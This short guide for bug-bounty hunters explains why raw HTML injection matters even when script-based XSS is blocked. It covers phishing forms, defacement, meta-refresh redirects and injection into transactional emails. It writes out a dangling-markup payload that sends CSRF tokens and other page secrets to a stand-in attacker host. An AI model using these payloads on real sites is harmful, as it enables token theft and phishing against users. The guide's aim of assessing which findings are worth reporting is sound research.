Hunt Html Injection

Hunt HTML Injection catalogs the concrete impact patterns that make raw HTML injection worth reporting even when full script-based XSS is blocked. It covers phishing via an injected <form> or <a href="attacker.com"> tag, UI defacement where injected markup like <h1>HACKED</h1> renders visibly on the page, credential harvesting via an injected login form, and redirects via <meta http-equiv="refresh">. It also frames HTML injection as a stepping stone toward XSS, since a WAF that blocks <script> often lets `` through.

A dangling-markup exfiltration pattern is described in detail: even with <script> tags and event handlers filtered, an unterminated tag can still capture page content that follows it - injecting <img src='//attacker.tld/log?html= with no closing quote or bracket makes the browser treat everything up to the next quote as the image URL, leaking any CSRF token, secret, or PII rendered after the injection point to an attacker-controlled server. This works specifically where full XSS is blocked but a raw < character is still reflected unescaped.

It also names an email and notification-context variant: a field reflected unescaped into a transactional email - a signup confirmation, admin alert, or support-chat transcript - renders injected links, images, or dangling markup in the recipient's inbox, an audience the web UI itself can't reach and often the only place HTML gets rendered unfiltered. The technique is to inject into a name, subject, or comment field and then read the raw email source.

Security researchers and bug-bounty hunters assessing whether an HTML-injection point is worth reporting - distinguishing simple defacement from higher-impact patterns like dangling-markup token exfiltration and email-context injection that reach an audience the web application itself never shows.